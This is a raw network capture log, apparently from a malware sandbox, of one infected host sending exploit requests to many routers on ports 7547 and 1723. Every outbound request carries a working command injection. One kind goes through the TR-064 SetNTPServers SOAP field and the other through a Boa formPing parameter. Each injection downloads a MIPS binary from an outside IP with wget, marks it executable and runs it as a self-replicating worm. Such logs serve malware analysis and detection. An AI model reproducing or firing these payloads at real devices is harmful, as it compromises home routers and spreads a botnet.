Apr 15, 2024 08:53:24.872718096 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
907	192.168.2.13	34286	14.56.179.111	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:24.879499912 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
908	192.168.2.13	49208	183.122.143.163	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:24.886320114 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
909	192.168.2.13	44238	121.129.14.26	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:24.888310909 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
910	192.168.2.13	59894	1.140.19.46	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:24.893352032 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
911	192.168.2.13	39294	47.199.235.25	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:25.039041042 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
912	192.168.2.13	47964	154.206.146.59	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:25.119425058 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:26.688422918 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:28.544399977 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:32.256454945 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:39.680423021 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:54.528487921 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
913	192.168.2.13	45540	211.38.92.211	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:25.166353941 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
914	192.168.2.13	34296	14.56.179.111	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:25.173562050 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
915	192.168.2.13	44254	121.129.14.26	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:25.182441950 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
916	192.168.2.13	49224	183.122.143.163	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:25.185884953 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
917	192.168.2.13	47444	190.147.70.78	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:25.571007967 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
918	192.168.2.13	55540	5.167.250.53	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:25.653597116 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:25.996853113 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 11:53:25 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
919	192.168.2.13	47482	190.147.70.78	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:25.836287022 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
920	192.168.2.13	34432	27.235.100.62	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:25.865096092 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
921	192.168.2.13	51772	191.176.90.210	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:25.914913893 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
922	192.168.2.13	55582	5.167.250.53	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:25.993767977 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:26.340492010 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 11:53:25 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
923	192.168.2.13	34448	27.235.100.62	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:26.150814056 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
924	192.168.2.13	46776	181.143.52.106	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:26.213627100 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World
Apr 15, 2024 08:53:27.552401066 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
925	192.168.2.13	35122	181.78.18.23	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:26.213663101 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World
Apr 15, 2024 08:53:27.584393978 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
926	192.168.2.13	51788	191.176.90.210	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:26.254160881 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
927	192.168.2.13	52186	181.191.32.10	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:26.293812990 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
928	192.168.2.13	33474	181.114.111.125	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:26.312585115 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World
Apr 15, 2024 08:53:26.772450924 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World
Apr 15, 2024 08:53:27.876389027 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World
Apr 15, 2024 08:53:30.208419085 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World
Apr 15, 2024 08:53:34.816392899 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World
